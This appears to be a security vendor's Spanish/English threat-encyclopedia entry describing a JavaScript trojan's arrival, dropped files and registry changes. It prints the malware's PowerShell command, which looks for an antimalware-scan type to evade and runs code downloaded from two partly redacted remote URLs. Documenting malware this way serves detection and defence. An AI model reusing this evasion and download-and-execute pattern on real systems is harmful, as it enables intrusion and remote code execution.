Trojan.JS.ACSOGENIXX.VSNW1AI24

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• %All Users Profile%\r155202fb-fcdf-42d5-ab22-5af524115bd7r.js → Deleted Afterward
• %User Temp%\Temp\{Random 8 characters}.{Random 3 characters}.ps1 → Deleted Afterward
• %User Temp%\Temp\{Random 8 characters}.{Random 3 characters}.psm1 → Deleted Afterward

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Agrega los procesos siguientes:

• "%System%\WindowsPowerShell\v1.0\powershell.exe" -command "$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zSN5VNQQ1EQ'; IEX(Invoke-WebRequest -UseBasicParsing 'https://www.{BLOCKED}ranslationservice.com/wp-content/uploads/2021/10/hmr8d2p.php') ; IEX(Invoke-WebRequest -UseBasicParsing 'https://www.{BLOCKED}ranslationservice.com/wp-content/uploads/2021/10/deodorizedZLzmN.ps1' )"

Otras modificaciones del sistema

Modifica las siguientes entradas de registro:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
ZoneMap
UNCAsIntranet = 0

(Note: The default value data of the said registry entry is 1.)

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
ZoneMap
AutoDetect = 1

(Note: The default value data of the said registry entry is 0.)